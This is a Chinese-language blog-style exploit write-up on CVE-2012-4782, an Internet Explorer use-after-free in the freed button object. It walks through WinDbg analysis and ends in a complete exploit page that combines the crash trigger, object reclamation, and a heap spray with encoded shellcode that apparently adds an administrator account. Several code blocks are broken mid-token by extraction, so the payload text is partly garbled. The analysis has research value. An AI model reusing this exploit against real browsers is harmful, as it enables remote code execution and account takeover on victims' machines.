前言

Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, aka "CMarkup Use After Free Vulnerability."-来自 http://cve.mitre.org/ 报告指出，微软的 IE9 和 IE10 存在一个 UAF **漏洞**，具体是指“CMarkup”对象释放后重 用问题，但我在**分析**的时候发现是 CButton 对象存在问题，通过构造恶意的文件，可能导致 远程执行任意代码。

测试环境

操作系统：Windows 7 SP1 32 位

浏览器：IE8.0.7601.17514

漏洞验证

首先，我在网上找到下面这个 POC：

代码:

```
<!doctype html>
<html>
<head>
<script>
                function helloWorld()
                {
                                var e0 = null;
                                var e1 = null;
                                var e2 = null;
                                try {
                                                e0 = document.getEl
ementById("a");
                                                e1 = document.getEl
ementById("b");
                                                e2 = document.creat
eElement("q");
                                                e1.applyElement(e2);
                                                alert(e1.parentNode);
                                                e1.appendChild(docume
nt.createElement('button'));
                                                e1.applyElement(e0);
                                                e2.outerText = "";
```

```
                                                    e2.appendChild(docume
nt.createElement('body'));
                                    }
                                    catch(e)
                                    { }
                                    CollectGarbage();
                    }
</script>
</head>
<body  onload="eval(helloWorld())">
<form  id="a"></form>
<dfn  id="b"></dfn>
</body>
</html>
```

保存为 1.html，直接打开，浏览器崩溃了

漏洞分析

由于这是一个 UAF **漏洞**，所以在调试前先设置 hpa,ust。方法是控制台切换 windbg 安装目录， 执行 gflags.exe /I ipxplore.exe +hpa +ust。下面开始调试，Windbg 附加 IE，打开上面的 POC：

Edi 是一个无效地址，导致了访问冲突。猜想 edi 应该是某个对象的地址 mov eax,dword ptr [edi] 那么这句汇编就是取出对象的虚表指针，为了加以确定，请看接下来的汇编：

前面得到了虚表指针，下来那个 call 调用虚表偏移 0xDC 处的函数。由于之前设置了 ust， 用!heap -p -a edi 可以看到这个对象的操作：

可以看到，是 button 对象释放后重用造成了访问冲突。接下来我们就要找到：

>在哪创建了这个 button 对象

>在哪释放了这个 button 对象

>在哪重新使用已经释放的 button 对象

第三个问题容易回答，就是 mov eax,dword ptr [edi] ds:0023:0c8cafa8=???????? 重用了 button 对象。那么，如何知道在哪创建和释放了对象？我一般会选择查看这个对象 的成员函数，根据直觉在相应函数下断，然后跟踪，对比。就这个例子来说，首先用 windbg 重新载入 IE，执

行 x mshtml!CButton::* 可得 CButton 所有成员函数：

注意标出来的两个，凭函数名和感觉猜测：

CButton::CreateElement //创建 button 对象

CButton::`scalar deleting destructor' //释放 button 对象

对这两个函数下断点，打开 POC

程序果真在 CreateElement 断下来，注意下面的 HeapAlloc，button 对象也是占用内存的，所 以它也需要先分配空间，而内存分配常用 HeapAlloc。所以在 6a369617 8bf0 mov esi,eax 下断，继续运行，第一次断下：

继续运行

下面有个 HeapFree 函数，该函数第三个参数是要释放的内存地址。在 HeapFree 这个里下断， 继续运行：

第三个参数是 0x0cf69fa8，而前面 HeapAlloc 返回的值也是 0x0cf69fa8。推测这两处就是分配 和释放点了。继续 g，就到了 button 对象重用的地方：

这下更肯定了我们前面的猜测。到这里分配，释放，重用点我们都找到了。但是，这样的分 析似乎还不够，程序为什么创建了 button 对象？为什么又释放了 button 对象？为什么释放 后又重用了这个对象？带着这些问题，让我们重新审视前面的 POC:

代码:

```
<!doctype html>
<html>
<head>
<script>
                function helloWorld()
                {
                                var e0 = null;
                                var e1 = null;
                                var e2 = null;
                                try {
                                                e0 = document.getEl
ementById("a");
```

```
                                                    e1  =  document.getEl
ementById("b");
                                                    e2  =  document.creat
eElement("q");
                                                    e1.applyElement(e2);
                                                    alert(e1.parentNode);
                                                    e1.appendChild(docume
nt.createElement('button'));
                                                    e1.applyElement(e0);
                                                    e2.outerText  =  "";
                                                    e2.appendChild(docume
nt.createElement('body'));
                                }
                                catch(e)
                                {  }
                                CollectGarbage();
                }
</script>
</head>
<body  onload="eval(helloWorld())">
<form  id="a"></form>
<dfn  id="b"></dfn>
</body>
</html>
```

载入文档的时候，会调用 helloword 函数。Helloworld 函数先定义三个变量，然后

代码:

```
e0  =  document.getElementById("a");
e1  =  document.getElementById("b");
e2  =  document.createElement("q");
```

相当于 e0==form，e1==dfn，e2==q。 接着 e1.applyElement(e2); applyElement 网上的解释是把 e2 作为 e1 的父亲，即 e2->e1。如 果你想验证一下，可以在用 alert(e1.parentNode);看看

此时对象的关系如下图

接着 e1.appendChild(document.createElement('button'));

接着 e1.applyElement(e0);

问题出现在 e2.outerText = "";这句代码会造成 button 对象释放和重用？我们来测试一下，稍 微改下原 POC：

代码:

```
alert("button will be free!")
e2.outerText = "";
alert("button has been free!")
e2.appendChild(document.createElement('body'));
```

用 windbg 附加 IE，同样在 CButton::`scalar deleting destructor'下断，然后运行

e2.outerText = "";触发了 CButton::`scalar deleting destructor'，由此可见是 e2.outerText = ""; 造成对象释放，e2.appendChild(document.createElement('body'));造成了 button 对象重用。至 于为什么是这样，《CVE-2012-4782 重新分析》已经解释的很详细了，可惜它没有讲怎么构造 一个可用的 POC，可用是指能执行我们想要执行的任意代码。下面我将尝试构造一个可用的 POC。

POC 构造

构造的思路是这样的：button 对象既然被释放了，那么我们立刻申请同等大小的内存块覆盖 这个它，当 button 重用的时候，就被欺骗去使用我们构造的数据了。先看 69b7e1cb 8b07 mov eax,dword ptr [edi] ds:0023:0b727fa8=???????? …… 69b7e1e0 ff90dc000000 call dword ptr [eax+0DCh] Edi 是 button 对象的地址，如果我把它第一个 dword 改成 0x0c0c0c0c，并且之前使用了 spray， 使得程序很大的内存(包括 0x0c0c0c0c)都是 0c0c0c0c+shellcode 块。那么假设 eax+0xDC 也是 0x0c0c0c0c 的话，call dword ptr [eax+0DCh]就会去到 0x0c0c0c0c 地址处执行，如图：

而且 0c 机器码不影响程序，所以会一直执行到 shellcode。所以下面分两步完成：

代码:

```
>堆喷射(spray)
>分配相同大小的对象覆盖原 button 内存
```

我们先来做堆喷射：但是，我将不使用 0c0c0c0c 这个地址，确切的说，是因为我们有能找 到合适在 win7 IE8 下喷射到 0c0c0c0c 的脚本。所以下面我将使用 0x1c1c1c1c 这个地 址,0x1c1c1c1c+0xDC 同样保存 0x1c1c1c1c，所以最终 shellcode 会从 0x1c1c1c1c 开始执行。 这个脚本由改造：http://www.fuzzysecurity.com/tutorials/expDev/11.html。

代码:

```
<html>
<head></head>
```

```
<body>
<script>
//堆喷射
  //Fix  BSTR  spec
  function  alloc(bytes,  mystr)  {
  while  (mystr.length<bytes)  mystr  +=  mystr;
  return  mystr.substr(0,  (bytes-6)/2);
  }

  block_size  =  0x1000;
  padding_size  =  0x5FC;  //offset  to  0x0c0c0c0c  inside  our  0x1
000  hex  block
  Padding  =  '';
  NopSlide  =  '';

  var  Shellcode  =
unescape('\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b2
0\u80
12\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\
u348
b\u01af\u45c6\u3e81\u6957\u456e\uf275\u7a8b\u0124\u66c7\u2c8b\u8b6f\u
1c7a%
uc701\u7c8b\ufcaf\uc701\u4b68\u6e33\u6801\u4220\u6f72\u2f68\u4441\u68
44\u7
26f\u2073\u7468\u6172\u6874\u6e69\u7369\u2068\u6441\u686d\u6f72\u7075
\u63
68\u6c61\u6867\u2074\u6f6c\u2668\u6e20\u6865\u4444\u2620\u6e68\u2f20\
u684
1\u6f72\u334b\u3368\u206e\u6842\u7242\u4b6f\u7368\u7265\u6820\u7465\u
7520
\u2f68\u2063\u686e\u7865\u2065\u6368\u646d\u892e\ufee5\u534d\uc031\u5
550%
ud7ff');

  for  (p  =  0;  p  <  padding_size;  p++){
  Padding  +=  unescape('  ');}

  for  (c  =  0;  c  <  block_size;  c++){
  NopSlide  +=  unescape('  ');}  //shellcode  hou
  NopSlide  =  NopSlide.substring(0,block_size  -  (Shellcode.length
  +  Padding.length));

  var  OBJECT  =  Padding  +  Shellcode  +  NopSlide;
  OBJECT  =  alloc(0xfffe0,  OBJECT);  //  0xfffe0  =  1mb
```

```
  var  evil  =  new  Array();
  for  (var  k  =  0;  k  <  150;  k++)  {
  evil[k]  =  OBJECT.substr(0,  OBJECT.length);
  }
  alert('spray  done  !');
</script>
</body>
</html>
```

注意：由于%u 会显示乱码，所以在使用时候改\u 为%u 即可，下面也是一样

保存为 2.html，在 WIN7 IE8 测试结果

第二个问题：分配相同大小的对象覆盖原 button 内存。但是 button 对象所占内存是多大呢？ 还是用前面 1.html，在 CButton::CreateElement 下断，单步到

代码:

```
call  dword  ptr  [mshtml!_imp__HeapAlloc
```

该函数的第三个参数就是 button 对象的大小。

所以我将使用下面的脚本实施占位：

代码:

```
<!doctype  html>
<html>
<head>
<script>
  var  arr_div  =  new  Array();
  var  junk=unescape("    ");
  while  (junk.length  <  (0x100-  6)/2)
  {
  junk+=junk;
  }
  function  helloWorld()  {
  var  e0  =  null;
  var  e1  =  null;
  var  e2  =  null;
  try  {
  e0  =  document.getElementById("a");
  e1  =  document.getElementById("b");
  e2  =  document.createElement("q");
  e1.applyElement(e2);
  e1.appendChild(document.createElement('button'));
  e1.applyElement(e0);
```

```
  e2.outerText = "";
  e2.appendChild(document.createElement('body'));
  } catch(e) { }
  CollectGarbage();
  for(var i = 0; i<0x150; i++)
  {
  arr_div[i]= document.createElement("div");
  arr_div[i].title= junk.substring(0,(0x58-6)/2);
  }
  }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
```

保存为 3.html，在 WIN7 IE8 下测试：

最后的工作是把 spray 和对象占位脚本合并，使得**漏洞**触发前先在 0x1c1c1c1c 布置我们的 shellcode，**漏洞**触发的时候用 0x1c1c1c1c 覆盖已经释放 button 对象的空间。控制

代码:

```
69b7e1cb 8b07 mov eax,dword ptr [edi]
```

执行后 eax=0x1c1c1c1c，接着

代码:

```
69b7e1e0 ff90dc000000 call dword ptr [eax+0DCh]
```

[0x1c1c1c1c+0xdc]=0x1c1c1c1c，即 call 0x1c1c1c1c。所以最终的 EXP 如下：

代码:

```
<!doctype html>
<html>
<head>
<script>
  //占位
  var arr_div = new Array();
  var junk=unescape("  ");
  while (junk.length < (0x100- 6)/2)
  {
  junk+=junk;
  }
```

```
  //漏洞触发
  function  helloWorld()  {
  var  e0  =  null;
  var  e1  =  null;
  var  e2  =  null;
  try  {
  e0  =  document.getElementById("a");
  e1  =  document.getElementById("b");
  e2  =  document.createElement("q");
  e1.applyElement(e2);
  e1.appendChild(document.createElement('button'));
  e1.applyElement(e0);
  e2.outerText  =  "";
  e2.appendChild(document.createElement('body'));
  }  catch(e)  {  }
  //对象占位
  CollectGarbage();
  for(var  i  =  0;  i<0x150;  i++)
  {
  arr_div[i]=  document.createElement("div");
  arr_div[i].title=  junk.substring(0,(0x58-6)/2);
  }
  //堆喷射
  function  alloc(bytes,  mystr)  {
  while  (mystr.length<bytes)  mystr  +=  mystr;
  return  mystr.substr(0,  (bytes-6)/2);
  }

  block_size  =  0x1000;
  padding_size  =  0x5FC;
  Padding  =  '';
  NopSlide  =  '';

  var  Shellcode  =
unescape('\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b2
0\u80
12\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\
u348
b\u01af\u45c6\u3e81\u6957\u456e\uf275\u7a8b\u0124\u66c7\u2c8b\u8b6f\u
1c7a%
uc701\u7c8b\ufcaf\uc701\u4b68\u6e33\u6801\u4220\u6f72\u2f68\u4441\u68
44\u7
26f\u2073\u7468\u6172\u6874\u6e69\u7369\u2068\u6441\u686d\u6f72\u7075
\u63
```

```
68\u6c61\u6867\u2074\u6f6c\u2668\u6e20\u6865\u4444\u2620\u6e68\u2f20\u684
1\u6f72\u334b\u3368\u206e\u6842\u7242\u4b6f\u7368\u7265\u6820\u7465\u7520
\u2f68\u2063\u686e\u7865\u2065\u6368\u646d\u892e\ufee5\u534d\uc031\u5550%
ud7ff');

  for (p = 0; p < padding_size; p++){
  Padding += unescape('  ');}

  for (c = 0; c < block_size; c++){
  NopSlide += unescape('  ');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length
  + Padding.length));

  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

  var evil = new Array();
  for (var k = 0; k < 150; k++) {
  evil[k] = OBJECT.substr(0, OBJECT.length);
  }
  }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
```

Shellcode 的调试我就不写了，毕竟 exp 就我写的，没啥好调试的。但是这里没考虑到 DEP， 如果有 DEP 保护的话，还需要构造 ROP 链，因为这里我们已经做到精确喷射了。绕过 DEP 其实也不难。

总结

在已有的**漏洞分析**文章上再次**分析**这个**漏洞**，并且成功构造出了 EXP。这个过程是很艰难的。 得到了仙

果，流离两位大神的帮助，再次感谢！关于 UAF 的**漏洞**，还需要多学习，微软不 断推出保护，缓解机制。黑客们不断的在寻找新的突破，攻防还在继续，让我们拭目以待。